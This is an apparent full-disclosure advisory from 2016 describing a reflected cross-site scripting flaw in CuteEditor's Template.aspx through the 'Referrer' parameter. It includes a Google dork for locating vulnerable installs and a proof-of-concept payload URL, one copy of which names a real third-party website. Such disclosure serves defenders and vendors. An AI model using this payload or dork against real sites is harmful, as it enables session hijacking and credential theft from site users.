Reflected Cross-Site Scripiting in CuteEditor

From: adrmm () outlook com
Date: Mon, 14 Mar 2016 14:37:26 GMT

```
# Exploit Title: Reflected Cross-Site Scripiting in CuteEditor
# Google Dork: inurl:/CuteSoft_Client/CuteEditor/ Template.aspx
# Date: 2016/03/14
# CVSS Score: 5.8
# CVSS v2 Vector (AV:N/AC:M/Au:N/C:P/I:P/A:N)
# CVSS https://nvd.nist.gov/cvss.cfm?calculator&version=2&vector=(AV:N/AC:L/Au:N/C:P/I:N/A:N)
#
# Author: Adriano Marcio Monteiro
# E-mail: adrmm () outlook com
# Blog: http://www.brazucasecurity.com.br
#
# Vendor: http://cutesoft.net/
# Software: http://cutesoft.net/ASP.NET+WYSIWYG+Editor/
# Version: multiples
#
# Test Type:     Gray Box
# Tested on:     Windows 8 Pro x64, Firefox 44 / IE 11 / Chrome 45

*** Preamble ***
Cute Editor for ASP.NET is vulnerable to reflected cross-site scripting, caused by improper validation of user
supplied
input. A remote attacker could exploit this vulnerability using a specially crafted URL to execute a script in a
victim's Web browser within the security context of the hosting Web site, once the URL is clicked. An attacker could
use this vulnerability to steal the victim's cookie-based authentication credentials for example.


*** PoC ***
Cross-site scripting (XSS) vulnerability in "Template.aspx" in CuteSoft Cute Editor allows remote unauthenticated
users
to inject arbitrary web script or HTML via the "Referrer" parameter.

https://localhost/CuteSoft_Client/CuteEditor/Template.aspx?Referrer=XSS";><script>alert(document.domain)</script>

https://www.bakernbaker.com/CuteSoft_Client/CuteEditor/Template.aspx?Referrer=XSS";><script>alert(document.domain)
</script>

[EoF]
```

By Date By Thread

Current thread:

Reflected Cross-Site Scripiting in CuteEditor ***adrmm (Mar 14)***